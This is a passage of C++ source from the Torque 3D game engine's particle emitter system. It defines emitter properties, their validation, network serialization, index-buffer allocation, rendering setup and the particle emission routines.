The emitter will potentially track the last particle to be " "created into the next call to this function in order to create a uniformly " "random time distribution of the particles.\n\n" "If the object to which the emitter is attached is in motion, it should try " "to ensure that for call (n+1) to this function, start is equal to the end " "from call (n). This will ensure a uniform spatial distribution.\n\n" "@ingroup FX\n" "@see ParticleEmitterData\n" "@see ParticleEmitterNode\n" ); ConsoleDocClass( ParticleEmitterData, "@brief Defines particle emission properties such as ejection angle, period " "and velocity for a ParticleEmitter.\n\n" "@tsexample\n" "datablock ParticleEmitterData( GrenadeExpDustEmitter )\n" "{\n" " ejectionPeriodMS = 1;\n" " periodVarianceMS = 0;\n" " ejectionVelocity = 15;\n" " velocityVariance = 0.0;\n" " ejectionOffset = 0.0;\n" " thetaMin = 85;\n" " thetaMax = 85;\n" " phiReferenceVel = 0;\n" " phiVariance = 360;\n" " overrideAdvance = false;\n" " lifetimeMS = 200;\n" " particles = \"GrenadeExpDust\";\n" "};\n" "@endtsexample\n\n" "@ingroup FX\n" "@see ParticleEmitter\n" "@see ParticleData\n" "@see ParticleEmitterNode\n" ); static const float sgDefaultEjectionOffset = 0.f; static const float sgDefaultPhiReferenceVel = 0.f; static const float sgDefaultPhiVariance = 360.f; //----------------------------------------------------------------------------- // ParticleEmitterData //----------------------------------------------------------------------------- ParticleEmitterData::ParticleEmitterData() { VECTOR_SET_ASSOCIATION(particleDataBlocks); VECTOR_SET_ASSOCIATION(dataBlockIds); ejectionPeriodMS = 100; // 10 Particles Per second periodVarianceMS = 0; // exactly ejectionVelocity = 2.0f; // From 1.0 - 3.0 meters per sec velocityVariance = 1.0f; ejectionOffset = sgDefaultEjectionOffset; // ejection from the emitter point thetaMin = 0.0f; // All heights thetaMax = 90.0f; phiReferenceVel = sgDefaultPhiReferenceVel; // All directions phiVariance = sgDefaultPhiVariance; softnessDistance = 1.0f; ambientFactor = 0.0f; lifetimeMS = 0; lifetimeVarianceMS = 0; overrideAdvance = true; orientParticles = false; orientOnVelocity = true; useEmitterSizes = false; useEmitterColors = false; particleString = NULL; partListInitSize = 0; // These members added for support of user defined blend factors // and optional particle sorting. blendStyle = ParticleRenderInst::BlendUndefined; sortParticles = false; renderReflection = true; reverseOrder = false; textureName = 0; textureHandle = 0; highResOnly = true; alignParticles = false; alignDirection = Point3F(0.0f, 1.0f, 0.0f); } // Enum tables used for fields blendStyle, srcBlendFactor, dstBlendFactor. // Note that the enums for srcBlendFactor and dstBlendFactor are consistent // with the blending enums used in Torque Game Builder. typedef ParticleRenderInst::BlendStyle ParticleBlendStyle; DefineEnumType( ParticleBlendStyle ); ImplementEnumType( ParticleBlendStyle, "The type of visual blending style to apply to the particles.\n" "@ingroup FX\n\n") { ParticleRenderInst::BlendNormal, "NORMAL", "No blending style.\n" }, { ParticleRenderInst::BlendAdditive, "ADDITIVE", "Adds the color of the pixel to the frame buffer with full alpha for each pixel.\n" }, { ParticleRenderInst::BlendSubtractive, "SUBTRACTIVE", "Subtractive Blending. Reverses the color model, causing dark colors to have a stronger visual effect.\n" }, { ParticleRenderInst::BlendPremultAlpha, "PREMULTALPHA", "Color blends with the colors of the imagemap rather than the alpha.\n" }, EndImplementEnumType; IRangeValidator ejectPeriodIValidator(1, 2047); IRangeValidator periodVarianceIValidator(0, 2047); FRangeValidator ejectionFValidator(0.f, 655.35f); FRangeValidator velVarianceFValidator(0.f, 163.83f); FRangeValidator thetaFValidator(0.f, 180.f); FRangeValidator phiFValidator(0.f, 360.f); //----------------------------------------------------------------------------- // initPersistFields //----------------------------------------------------------------------------- void ParticleEmitterData::initPersistFields() { addGroup( "ParticleEmitterData" ); addFieldV("ejectionPeriodMS", TYPEID< S32 >(), Offset(ejectionPeriodMS, ParticleEmitterData), &ejectPeriodIValidator, "Time (in milliseconds) between each particle ejection." ); addFieldV("periodVarianceMS", TYPEID< S32 >(), Offset(periodVarianceMS, ParticleEmitterData), &periodVarianceIValidator, "Variance in ejection period, from 1 - ejectionPeriodMS." ); addFieldV( "ejectionVelocity", TYPEID< F32 >(), Offset(ejectionVelocity, ParticleEmitterData), &ejectionFValidator, "Particle ejection velocity." ); addFieldV( "velocityVariance", TYPEID< F32 >(), Offset(velocityVariance, ParticleEmitterData), &velVarianceFValidator, "Variance for ejection velocity, from 0 - ejectionVelocity." ); addFieldV( "ejectionOffset", TYPEID< F32 >(), Offset(ejectionOffset, ParticleEmitterData), &ejectionFValidator, "Distance along ejection Z axis from which to eject particles." ); addFieldV( "thetaMin", TYPEID< F32 >(), Offset(thetaMin, ParticleEmitterData), &thetaFValidator, "Minimum angle, from the horizontal plane, to eject from." ); addFieldV( "thetaMax", TYPEID< F32 >(), Offset(thetaMax, ParticleEmitterData), &thetaFValidator, "Maximum angle, from the horizontal plane, to eject particles from." ); addFieldV( "phiReferenceVel", TYPEID< F32 >(), Offset(phiReferenceVel, ParticleEmitterData), &phiFValidator, "Reference angle, from the vertical plane, to eject particles from." ); addFieldV( "phiVariance", TYPEID< F32 >(), Offset(phiVariance, ParticleEmitterData), &phiFValidator, "Variance from the reference angle, from 0 - 360." ); addField( "softnessDistance", TYPEID< F32 >(), Offset(softnessDistance, ParticleEmitterData), "For soft particles, the distance (in meters) where particles will be " "faded based on the difference in depth between the particle and the " "scene geometry." ); addField( "ambientFactor", TYPEID< F32 >(), Offset(ambientFactor, ParticleEmitterData), "Used to generate the final particle color by controlling interpolation " "between the particle color and the particle color multiplied by the " "ambient light color." ); addField( "overrideAdvance", TYPEID< bool >(), Offset(overrideAdvance, ParticleEmitterData), "If false, particles emitted in the same frame have their positions " "adjusted. If true, adjustment is skipped and particles will clump " "together." ); addField( "orientParticles", TYPEID< bool >(), Offset(orientParticles, ParticleEmitterData), "If true, Particles will always face the camera." ); addField( "orientOnVelocity", TYPEID< bool >(), Offset(orientOnVelocity, ParticleEmitterData), "If true, particles will be oriented to face in the direction they are moving." ); addField( "particles", TYPEID< StringTableEntry >(), Offset(particleString, ParticleEmitterData), "@brief List of space or TAB delimited ParticleData datablock names.\n\n" "A random one of these datablocks is selected each time a particle is " "emitted." ); addField( "lifetimeMS", TYPEID< S32 >(), Offset(lifetimeMS, ParticleEmitterData), "Lifetime of emitted particles (in milliseconds)." ); addField("lifetimeVarianceMS", TYPEID< S32 >(), Offset(lifetimeVarianceMS, ParticleEmitterData), "Variance in particle lifetime from 0 - lifetimeMS." ); addField( "useEmitterSizes", TYPEID< bool >(), Offset(useEmitterSizes, ParticleEmitterData), "@brief If true, use emitter specified sizes instead of datablock sizes.\n" "Useful for Debris particle emitters that control the particle size." ); addField( "useEmitterColors", TYPEID< bool >(), Offset(useEmitterColors, ParticleEmitterData), "@brief If true, use emitter specified colors instead of datablock colors.\n\n" "Useful for ShapeBase dust and WheeledVehicle wheel particle emitters that use " "the current material to control particle color." ); /// These fields added for support of user defined blend factors and optional particle sorting. //@{ addField( "blendStyle", TYPEID< ParticleRenderInst::BlendStyle >(), Offset(blendStyle, ParticleEmitterData), "String value that controls how emitted particles blend with the scene." ); addField( "sortParticles", TYPEID< bool >(), Offset(sortParticles, ParticleEmitterData), "If true, particles are sorted furthest to nearest."); addField( "reverseOrder", TYPEID< bool >(), Offset(reverseOrder, ParticleEmitterData), "@brief If true, reverses the normal draw order of particles.\n\n" "Particles are normally drawn from newest to oldest, or in Z order " "(furthest first) if sortParticles is true. Setting this field to " "true will reverse that order: oldest first, or nearest first if " "sortParticles is true." ); addField( "textureName", TYPEID< StringTableEntry >(), Offset(textureName, ParticleEmitterData), "Optional texture to override ParticleData::textureName." ); addField( "alignParticles", TYPEID< bool >(), Offset(alignParticles, ParticleEmitterData), "If true, particles always face along the axis defined by alignDirection." ); addProtectedField( "alignDirection", TYPEID< Point3F>(), Offset(alignDirection, ParticleEmitterData), &ParticleEmitterData::_setAlignDirection, &defaultProtectedGetFn, "The direction aligned particles should face, only valid if alignParticles is true." ); addField( "highResOnly", TYPEID< bool >(), Offset(highResOnly, ParticleEmitterData), "This particle system should not use the mixed-resolution renderer. " "If your particle system has large amounts of overdraw, consider " "disabling this option." ); addField( "renderReflection", TYPEID< bool >(), Offset(renderReflection, ParticleEmitterData), "Controls whether particles are rendered onto reflective surfaces like water." ); //@} endGroup( "ParticleEmitterData" ); Parent::initPersistFields(); } bool ParticleEmitterData::_setAlignDirection( void *object, const char *index, const char *data ) { ParticleEmitterData *p = static_cast<ParticleEmitterData*>( object ); Con::setData( TypePoint3F, &p->alignDirection, 0, 1, &data ); p->alignDirection.normalizeSafe(); // we already set the field return false; } //----------------------------------------------------------------------------- // packData //----------------------------------------------------------------------------- void ParticleEmitterData::packData(BitStream* stream) { Parent::packData(stream); stream->writeInt(ejectionPeriodMS, 11); // must match limit on valid range in ParticleEmitterData::initPersistFields stream->writeInt(periodVarianceMS, 11); stream->writeInt((S32)(ejectionVelocity * 100), 16); stream->writeInt((S32)(velocityVariance * 100), 14); if( stream->writeFlag( ejectionOffset != sgDefaultEjectionOffset ) ) stream->writeInt((S32)(ejectionOffset * 100), 16); stream->writeRangedU32((U32)thetaMin, 0, 180); stream->writeRangedU32((U32)thetaMax, 0, 180); if( stream->writeFlag( phiReferenceVel != sgDefaultPhiReferenceVel ) ) stream->writeRangedU32((U32)phiReferenceVel, 0, 360); if( stream->writeFlag( phiVariance != sgDefaultPhiVariance ) ) stream->writeRangedU32((U32)phiVariance, 0, 360); stream->write( softnessDistance ); stream->write( ambientFactor ); stream->writeFlag(overrideAdvance); stream->writeFlag(orientParticles); stream->writeFlag(orientOnVelocity); stream->write( lifetimeMS ); stream->write( lifetimeVarianceMS ); stream->writeFlag(useEmitterSizes); stream->writeFlag(useEmitterColors); stream->write(dataBlockIds.size()); for (U32 i = 0; i < dataBlockIds.size(); i++) stream->write(dataBlockIds[i]); stream->writeFlag(sortParticles); stream->writeFlag(reverseOrder); if (stream->writeFlag(textureName != 0)) stream->writeString(textureName); if (stream->writeFlag(alignParticles)) { stream->write(alignDirection.x); stream->write(alignDirection.y); stream->write(alignDirection.z); } stream->writeFlag(highResOnly); stream->writeFlag(renderReflection); stream->writeInt( blendStyle, 4 ); } //----------------------------------------------------------------------------- // unpackData //----------------------------------------------------------------------------- void ParticleEmitterData::unpackData(BitStream* stream) { Parent::unpackData(stream); ejectionPeriodMS = stream->readInt(11); periodVarianceMS = stream->readInt(11); ejectionVelocity = stream->readInt(16) / 100.0f; velocityVariance = stream->readInt(14) / 100.0f; if( stream->readFlag() ) ejectionOffset = stream->readInt(16) / 100.0f; else ejectionOffset = sgDefaultEjectionOffset; thetaMin = (F32)stream->readRangedU32(0, 180); thetaMax = (F32)stream->readRangedU32(0, 180); if( stream->readFlag() ) phiReferenceVel = (F32)stream->readRangedU32(0, 360); else phiReferenceVel = sgDefaultPhiReferenceVel; if( stream->readFlag() ) phiVariance = (F32)stream->readRangedU32(0, 360); else phiVariance = sgDefaultPhiVariance; stream->read( &softnessDistance ); stream->read( &ambientFactor ); overrideAdvance = stream->readFlag(); orientParticles = stream->readFlag(); orientOnVelocity = stream->readFlag(); stream->read( &lifetimeMS ); stream->read( &lifetimeVarianceMS ); useEmitterSizes = stream->readFlag(); useEmitterColors = stream->readFlag(); U32 size; stream->read(&size); dataBlockIds.setSize(size); for (U32 i = 0; i < dataBlockIds.size(); i++) stream->read(&dataBlockIds[i]); sortParticles = stream->readFlag(); reverseOrder = stream->readFlag(); textureName = (stream->readFlag()) ? stream->readSTString() : 0; alignParticles = stream->readFlag(); if (alignParticles) { stream->read(&alignDirection.x); stream->read(&alignDirection.y); stream->read(&alignDirection.z); } highResOnly = stream->readFlag(); renderReflection = stream->readFlag(); blendStyle = stream->readInt( 4 ); } //----------------------------------------------------------------------------- // onAdd //----------------------------------------------------------------------------- bool ParticleEmitterData::onAdd() { if( Parent::onAdd() == false ) return false; // if (overrideAdvance == true) { // Con::errorf(ConsoleLogEntry::General, "ParticleEmitterData: Not going to work. Fix it!"); // return false; // } // Validate the parameters... // if( ejectionPeriodMS < 1 ) { Con::warnf(ConsoleLogEntry::General, "ParticleEmitterData(%s) period < 1 ms", getName()); ejectionPeriodMS = 1; } if( periodVarianceMS >= ejectionPeriodMS ) { Con::warnf(ConsoleLogEntry::General, "ParticleEmitterData(%s) periodVariance >= period", getName()); periodVarianceMS = ejectionPeriodMS - 1; } if( ejectionVelocity < 0.0f ) { Con::warnf(ConsoleLogEntry::General, "ParticleEmitterData(%s) ejectionVelocity < 0.0f", getName()); ejectionVelocity = 0.0f; } if( velocityVariance < 0.0f ) { Con::warnf(ConsoleLogEntry::General, "ParticleEmitterData(%s) velocityVariance < 0.0f", getName()); velocityVariance = 0.0f; } if( velocityVariance > ejectionVelocity ) { Con::warnf(ConsoleLogEntry::General, "ParticleEmitterData(%s) velocityVariance > ejectionVelocity", getName()); velocityVariance = ejectionVelocity; } if( ejectionOffset < 0.0f ) { Con::warnf(ConsoleLogEntry::General, "ParticleEmitterData(%s) ejectionOffset < 0", getName()); ejectionOffset = 0.0f; } if( thetaMin < 0.0f ) { Con::warnf(ConsoleLogEntry::General, "ParticleEmitterData(%s) thetaMin < 0.0", getName()); thetaMin = 0.0f; } if( thetaMax > 180.0f ) { Con::warnf(ConsoleLogEntry::General, "ParticleEmitterData(%s) thetaMax > 180.0", getName()); thetaMax = 180.0f; } if( thetaMin > thetaMax ) { Con::warnf(ConsoleLogEntry::General, "ParticleEmitterData(%s) thetaMin > thetaMax", getName()); thetaMin = thetaMax; } if( phiVariance < 0.0f || phiVariance > 360.0f ) { Con::warnf(ConsoleLogEntry::General, "ParticleEmitterData(%s) invalid phiVariance", getName()); phiVariance = phiVariance < 0.0f ? 0.0f : 360.0f; } if ( softnessDistance < 0.0f ) { Con::warnf( ConsoleLogEntry::General, "ParticleEmitterData(%s) invalid softnessDistance", getName() ); softnessDistance = 0.0f; } if (particleString == NULL && dataBlockIds.size() == 0) { Con::warnf(ConsoleLogEntry::General, "ParticleEmitterData(%s) no particleString, invalid datablock", getName()); return false; } if (particleString && particleString[0] == '\0') { Con::warnf(ConsoleLogEntry::General, "ParticleEmitterData(%s) no particleString, invalid datablock", getName()); return false; } if (particleString && dStrlen(particleString) > 255) { Con::errorf(ConsoleLogEntry::General, "ParticleEmitterData(%s) particle string too long [> 255 chars]", getName()); return false; } if( lifetimeMS < 0 ) { Con::warnf(ConsoleLogEntry::General, "ParticleEmitterData(%s) lifetimeMS < 0.0f", getName()); lifetimeMS = 0; } if( lifetimeVarianceMS > lifetimeMS ) { Con::warnf(ConsoleLogEntry::General, "ParticleEmitterData(%s) lifetimeVarianceMS >= lifetimeMS", getName()); lifetimeVarianceMS = lifetimeMS; } // load the particle datablocks... // if( particleString != NULL ) { // particleString is once again a list of particle datablocks so it // must be parsed to extract the particle references. // First we parse particleString into a list of particle name tokens Vector<char*> dataBlocks(__FILE__, __LINE__); char* tokCopy = new char[dStrlen(particleString) + 1]; dStrcpy(tokCopy, particleString); char* currTok = dStrtok(tokCopy, " \t"); while (currTok != NULL) { dataBlocks.push_back(currTok); currTok = dStrtok(NULL, " \t"); } if (dataBlocks.size() == 0) { Con::warnf(ConsoleLogEntry::General, "ParticleEmitterData(%s) invalid particles string. No datablocks found", getName()); delete [] tokCopy; return false; } // Now we convert the particle name tokens into particle datablocks and IDs particleDataBlocks.clear(); dataBlockIds.clear(); for (U32 i = 0; i < dataBlocks.size(); i++) { ParticleData* pData = NULL; if (Sim::findObject(dataBlocks[i], pData) == false) { Con::warnf(ConsoleLogEntry::General, "ParticleEmitterData(%s) unable to find particle datablock: %s", getName(), dataBlocks[i]); } else { particleDataBlocks.push_back(pData); dataBlockIds.push_back(pData->getId()); } } // cleanup delete [] tokCopy; // check that we actually found some particle datablocks if (particleDataBlocks.size() == 0) { Con::warnf(ConsoleLogEntry::General, "ParticleEmitterData(%s) unable to find any particle datablocks", getName()); return false; } } return true; } //----------------------------------------------------------------------------- // preload //----------------------------------------------------------------------------- bool ParticleEmitterData::preload(bool server, String &errorStr) { if( Parent::preload(server, errorStr) == false ) return false; particleDataBlocks.clear(); for (U32 i = 0; i < dataBlockIds.size(); i++) { ParticleData* pData = NULL; if (Sim::findObject(dataBlockIds[i], pData) == false) Con::warnf(ConsoleLogEntry::General, "ParticleEmitterData(%s) unable to find particle datablock: %d", getName(), dataBlockIds[i]); else particleDataBlocks.push_back(pData); } if (!server) { // load emitter texture if specified if (textureName && textureName[0]) { textureHandle = GFXTexHandle(textureName, &GFXDefaultStaticDiffuseProfile, avar("%s() - textureHandle (line %d)", __FUNCTION__, __LINE__)); if (!textureHandle) { errorStr = String::ToString("Missing particle emitter texture: %s", textureName); return false; } } // otherwise, check that all particles refer to the same texture else if (particleDataBlocks.size() > 1) { StringTableEntry txr_name = particleDataBlocks[0]->textureName; for (S32 i = 1; i < particleDataBlocks.size(); i++) { // warn if particle textures are inconsistent if (particleDataBlocks[i]->textureName != txr_name) { Con::warnf(ConsoleLogEntry::General, "ParticleEmitterData(%s) particles reference different textures.", getName()); break; } } } } // if blend-style is undefined check legacy useInvAlpha settings if (blendStyle == ParticleRenderInst::BlendUndefined && particleDataBlocks.size() > 0) { bool useInvAlpha = particleDataBlocks[0]->useInvAlpha; for (S32 i = 1; i < particleDataBlocks.size(); i++) { // warn if blend-style legacy useInvAlpha settings are inconsistent if (particleDataBlocks[i]->useInvAlpha != useInvAlpha) { Con::warnf(ConsoleLogEntry::General, "ParticleEmitterData(%s) particles have inconsistent useInvAlpha settings.", getName()); break; } } blendStyle = (useInvAlpha) ? ParticleRenderInst::BlendNormal : ParticleRenderInst::BlendAdditive; } if( !server ) { allocPrimBuffer(); } return true; } //----------------------------------------------------------------------------- // alloc PrimitiveBuffer // The datablock allocates this static index buffer because it's the same // for all of the emitters - each particle quad uses the same index ordering //----------------------------------------------------------------------------- void ParticleEmitterData::allocPrimBuffer( S32 overrideSize ) { // calculate particle list size AssertFatal(particleDataBlocks.size() > 0, "Error, no particles found." ); U32 maxPartLife = particleDataBlocks[0]->lifetimeMS + particleDataBlocks[0]->lifetimeVarianceMS; for (S32 i = 1; i < particleDataBlocks.size(); i++) { U32 mpl = particleDataBlocks[i]->lifetimeMS + particleDataBlocks[i]->lifetimeVarianceMS; if (mpl > maxPartLife) maxPartLife = mpl; } partListInitSize = maxPartLife / (ejectionPeriodMS - periodVarianceMS); partListInitSize += 8; // add 8 as "fudge factor" to make sure it doesn't realloc if it goes over by 1 // if override size is specified, then the emitter overran its buffer and needs a larger allocation if( overrideSize != -1 ) { partListInitSize = overrideSize; } // create index buffer based on that size U32 indexListSize = partListInitSize * 6; // 6 indices per particle U16 *indices = new U16[ indexListSize ]; for( U32 i=0; i<partListInitSize; i++ ) { // this index ordering should be optimal (hopefully) for the vertex cache U16 *idx = &indices[i*6]; volatile U32 offset = i * 4; // set to volatile to fix VC6 Release mode compiler bug idx[0] = 0 + offset; idx[1] = 1 + offset; idx[2] = 3 + offset; idx[3] = 1 + offset; idx[4] = 3 + offset; idx[5] = 2 + offset; } U16 *ibIndices; GFXBufferType bufferType = GFXBufferTypeStatic; #ifdef TORQUE_OS_XENON // Because of the way the volatile buffers work on Xenon this is the only // way to do this. bufferType = GFXBufferTypeVolatile; #endif primBuff.set( GFX, indexListSize, 0, bufferType ); primBuff.lock( &ibIndices ); dMemcpy( ibIndices, indices, indexListSize * sizeof(U16) ); primBuff.unlock(); delete [] indices; } //----------------------------------------------------------------------------- // ParticleEmitter //----------------------------------------------------------------------------- ParticleEmitter::ParticleEmitter() { mDeleteWhenEmpty = false; mDeleteOnTick = false; mInternalClock = 0; mNextParticleTime = 0; mLastPosition.set(0, 0, 0); mHasLastPosition = false; mLifetimeMS = 0; mElapsedTimeMS = 0; part_store = 0; part_freelist = NULL; part_list_head.next = NULL; n_part_capacity = 0; n_parts = 0; mCurBuffSize = 0; mDead = false; mDataBlock = NULL; // ParticleEmitter should be allocated on the client only. mNetFlags.set( IsGhost ); } //----------------------------------------------------------------------------- // destructor //----------------------------------------------------------------------------- ParticleEmitter::~ParticleEmitter() { for( S32 i = 0; i < part_store.size(); i++ ) { delete [] part_store[i]; } } //----------------------------------------------------------------------------- // onAdd //----------------------------------------------------------------------------- bool ParticleEmitter::onAdd() { if( !Parent::onAdd() ) return false; // add to client side mission cleanup SimGroup *cleanup = dynamic_cast<SimGroup *>( Sim::findObject( "ClientMissionCleanup") ); if( cleanup != NULL ) { cleanup->addObject( this ); } else { AssertFatal( false, "Error, could not find ClientMissionCleanup group" ); return false; } removeFromProcessList(); F32 radius = 5.0; mObjBox.minExtents = Point3F(-radius, -radius, -radius); mObjBox.maxExtents = Point3F(radius, radius, radius); resetWorldBox(); return true; } //----------------------------------------------------------------------------- // onRemove //----------------------------------------------------------------------------- void ParticleEmitter::onRemove() { removeFromScene(); Parent::onRemove(); } //----------------------------------------------------------------------------- // onNewDataBlock //----------------------------------------------------------------------------- bool ParticleEmitter::onNewDataBlock( GameBaseData *dptr, bool reload ) { mDataBlock = dynamic_cast<ParticleEmitterData*>( dptr ); if ( !mDataBlock || !Parent::onNewDataBlock( dptr, reload ) ) return false; mLifetimeMS = mDataBlock->lifetimeMS; if( mDataBlock->lifetimeVarianceMS ) { mLifetimeMS += S32( gRandGen.randI() % (2 * mDataBlock->lifetimeVarianceMS + 1)) - S32(mDataBlock->lifetimeVarianceMS ); } // Allocate particle structures and init the freelist. Member part_store // is a Vector so that we can allocate more particles if partListInitSize // turns out to be too small. // if (mDataBlock->partListInitSize > 0) { for( S32 i = 0; i < part_store.size(); i++ ) { delete [] part_store[i]; } part_store.clear(); n_part_capacity = mDataBlock->partListInitSize; Particle* store_block = new Particle[n_part_capacity]; part_store.push_back(store_block); part_freelist = store_block; Particle* last_part = part_freelist; Particle* part = last_part+1; for( S32 i = 1; i < n_part_capacity; i++, part++, last_part++ ) { last_part->next = part; } store_block[n_part_capacity-1].next = NULL; part_list_head.next = NULL; n_parts = 0; } scriptOnNewDataBlock(); return true; } //----------------------------------------------------------------------------- // getCollectiveColor //----------------------------------------------------------------------------- ColorF ParticleEmitter::getCollectiveColor() { U32 count = 0; ColorF color = ColorF(0.0f, 0.0f, 0.0f); count = n_parts; for( Particle* part = part_list_head.next; part != NULL; part = part->next ) { color += part->color; } if(count > 0) { color /= F32(count); } //if(color.red == 0.0f && color.green == 0.0f && color.blue == 0.0f) // color = color; return color; } //----------------------------------------------------------------------------- // prepRenderImage //----------------------------------------------------------------------------- void ParticleEmitter::prepRenderImage(SceneRenderState* state) { if( state->isReflectPass() && !getDataBlock()->renderReflection ) return; // Never render into shadows. if (state->isShadowPass()) return; PROFILE_SCOPE(ParticleEmitter_prepRenderImage); if ( mDead || n_parts == 0 || part_list_head.next == NULL ) return; RenderPassManager *renderManager = state->getRenderPass(); const Point3F &camPos = state->getCameraPosition(); copyToVB( camPos, state->getAmbientLightColor() ); if (!mVertBuff.isValid()) return; ParticleRenderInst *ri = renderManager->allocInst<ParticleRenderInst>(); ri->vertBuff = &mVertBuff; ri->primBuff = &getDataBlock()->primBuff; ri->translucentSort = true; ri->type = RenderPassManager::RIT_Particle; ri->sortDistSq = getRenderWorldBox().getSqDistanceToPoint( camPos ); // Draw the system offscreen unless the highResOnly flag is set on the datablock ri->systemState = ( getDataBlock()->highResOnly ? PSS_AwaitingHighResDraw : PSS_AwaitingOffscreenDraw ); ri->modelViewProj = renderManager->allocUniqueXform( GFX->getProjectionMatrix() * GFX->getViewMatrix() * GFX->getWorldMatrix() ); // Update position on the matrix before multiplying it mBBObjToWorld.setPosition(mLastPosition); ri->bbModelViewProj = renderManager->allocUniqueXform( *ri->modelViewProj * mBBObjToWorld ); ri->count = n_parts; ri->blendStyle = mDataBlock->blendStyle; // use first particle's texture unless there is an emitter texture to override it if (mDataBlock->textureHandle) ri->diffuseTex = &*(mDataBlock->textureHandle); else ri->diffuseTex = &*(part_list_head.next->dataBlock->textureHandle); ri->softnessDistance = mDataBlock->softnessDistance; // Sort by texture too. ri->defaultKey = ri->diffuseTex ? (U32)ri->diffuseTex : (U32)ri->vertBuff; renderManager->addInst( ri ); } //----------------------------------------------------------------------------- // setSizes //----------------------------------------------------------------------------- void ParticleEmitter::setSizes( F32 *sizeList ) { for( int i=0; i<ParticleData::PDC_NUM_KEYS; i++ ) { sizes[i] = sizeList[i]; } } //----------------------------------------------------------------------------- // setColors //----------------------------------------------------------------------------- void ParticleEmitter::setColors( ColorF *colorList ) { for( int i=0; i<ParticleData::PDC_NUM_KEYS; i++ ) { colors[i] = colorList[i]; } } //----------------------------------------------------------------------------- // deleteWhenEmpty //----------------------------------------------------------------------------- void ParticleEmitter::deleteWhenEmpty() { // if the following asserts fire, there is a reasonable chance that you are trying to delete a particle emitter // that has already been deleted (possibly by ClientMissionCleanup). If so, use a SimObjectPtr to the emitter and check it // for null before calling this function. AssertFatal(isProperlyAdded(), "ParticleEmitter must be registed before calling deleteWhenEmpty"); AssertFatal(!mDead, "ParticleEmitter already deleted"); AssertFatal(!isDeleted(), "ParticleEmitter already deleted"); AssertFatal(!isRemoved(), "ParticleEmitter already removed"); // this check is for non debug case, so that we don't write in to freed memory bool okToDelete = !mDead && isProperlyAdded() && !isDeleted() && !isRemoved(); if (okToDelete) { mDeleteWhenEmpty = true; if( !n_parts ) { // We're already empty, so delete us now. mDead = true; deleteObject(); } else AssertFatal( getSceneManager() != NULL, "ParticleEmitter not on process list and won't get ticked to death" ); } } //----------------------------------------------------------------------------- // emitParticles //----------------------------------------------------------------------------- void ParticleEmitter::emitParticles(const Point3F& point, const bool useLastPosition, const Point3F& axis, const Point3F& velocity, const U32 numMilliseconds) { if( mDead ) return; // lifetime over - no more particles if( mLifetimeMS > 0 && mElapsedTimeMS > mLifetimeMS ) { return; } Point3F realStart; if( useLastPosition && mHasLastPosition ) realStart = mLastPosition; else realStart = point; emitParticles(realStart, point, axis, velocity, numMilliseconds); } //----------------------------------------------------------------------------- // emitParticles //----------------------------------------------------------------------------- void ParticleEmitter::emitParticles(const Point3F& start, const Point3F& end, const Point3F& axis, const Point3F& velocity, const U32 numMilliseconds) { if( mDead ) return; if( mDataBlock->particleDataBlocks.empty() ) return; // lifetime over - no more particles if( mLifetimeMS > 0 && mElapsedTimeMS > mLifetimeMS ) { return; } U32 currTime = 0; bool particlesAdded = false; Point3F axisx; if( mFabs(axis.z) < 0.9f ) mCross(axis, Point3F(0, 0, 1), &axisx); else mCross(axis, Point3F(0, 1, 0), &axisx); axisx.normalize(); if( mNextParticleTime != 0 ) { // Need to handle next particle // if( mNextParticleTime > numMilliseconds ) { // Defer to next update // (Note that this introduces a potential spatial irregularity if the owning // object is accelerating, and updating at a low frequency) // mNextParticleTime -= numMilliseconds; mInternalClock += numMilliseconds; mLastPosition = end; mHasLastPosition = true; return; } else { currTime += mNextParticleTime; mInternalClock += mNextParticleTime; // Emit particle at curr time // Create particle at the correct position Point3F pos; pos.interpolate(start, end, F32(currTime) / F32(numMilliseconds)); addParticle(pos, axis, velocity, axisx); particlesAdded = true; mNextParticleTime = 0; } } while( currTime < numMilliseconds ) { S32 nextTime = mDataBlock->ejectionPeriodMS; if( mDataBlock->periodVarianceMS != 0 ) { nextTime += S32(gRandGen.randI() % (2 * mDataBlock->periodVarianceMS + 1)) - S32(mDataBlock->periodVarianceMS); } AssertFatal(nextTime > 0, "Error, next particle ejection time must always be greater than 0"); if( currTime + nextTime > numMilliseconds ) { mNextParticleTime = (currTime + nextTime) - numMilliseconds; mInternalClock += numMilliseconds - currTime; AssertFatal(mNextParticleTime > 0, "Error, should not have deferred this particle!"); break; } currTime += nextTime; mInternalClock += nextTime; // Create particle at the correct position Point3F pos; pos.interpolate(start, end, F32(currTime) / F32(numMilliseconds)); addParticle(pos, axis, velocity, axisx); particlesAdded = true; // This override-advance code is restored in order to correctly adjust // animated parameters of particles allocated within the same frame // update. Note that ordering is important and this code correctly // adds particles in the same newest-to-oldest ordering of the link-list. // // NOTE: We are assuming that the just added particle is at the head of our // list. If that changes, so must this... U32 advanceMS = numMilliseconds - currTime; if (mDataBlock->overrideAdvance == false && advanceMS != 0) { Particle* last_part = part_list_head.next; if (advanceMS > last_part->totalLifetime) { part_list_head.next = last_part->next; n_parts--; last_part->next = part_freelist; part_freelist = last_part; } else { if (advanceMS != 0) { F32 t = F32(advanceMS) / 1000.0; Point3F a = last_part->acc; a -= last_part->vel * last_part->dataBlock->dragCoefficient; a -= mWindVelocity * last_part->dataBlock->windCoefficient; a += Point3F(0.0f, 0.0f, -9.81f) * last_part->dataBlock->gravityCoefficient; last_part->vel += a * t; last_part->pos += last_part->vel * t; updateKeyData( last_part ); } } } } // DMMFIX: Lame and slow... if( particlesAdded == true ) updateBBox(); if( n_parts > 0 && getSceneManager() == NULL ) { gClientSceneGraph->addObjectToScene(this); ClientProcessList::get()->addObject(this); } mLastPosition = end; mHasLastPosition = true; } //----------------------------------------------------------------------------- // emitParticles //----------------------------------------------------------------------------- void ParticleEmitter::emitParticles(const Point3F& rCenter, const Point3F& rNormal, const F32 radius, const Point3F& velocity, S32 count) { if( mDead ) return; // lifetime over - no more particles if( mLifetimeMS > 0 && mElapsedTimeMS > mLifetimeMS ) { return; } Point3F axisx, axisy; Point3F axisz = rNormal; if( axisz.isZero() ) { axisz.set( 0.0, 0.0, 1.0 ); } if( mFabs(axisz.z) < 0.98 ) { mCross(axisz, Point3F(0, 0, 1), &axisy); axisy.normalize(); } else { mCross(axisz, Point3F(0, 1, 0), &axisy); axisy.normalize(); } mCross(axisz, axisy, &axisx); axisx.normalize(); // Should think of a better way to distribute the // particles within the hemisphere. for( S32 i = 0; i < count; i++ ) { Point3F pos = axisx * (radius * (1 - (2 * gRandGen.randF()))); pos += axisy * (radius * (1 - (2 * gRandGen.randF()))); pos += axisz * (radius * gRandGen.randF()); Point3F axis = pos; 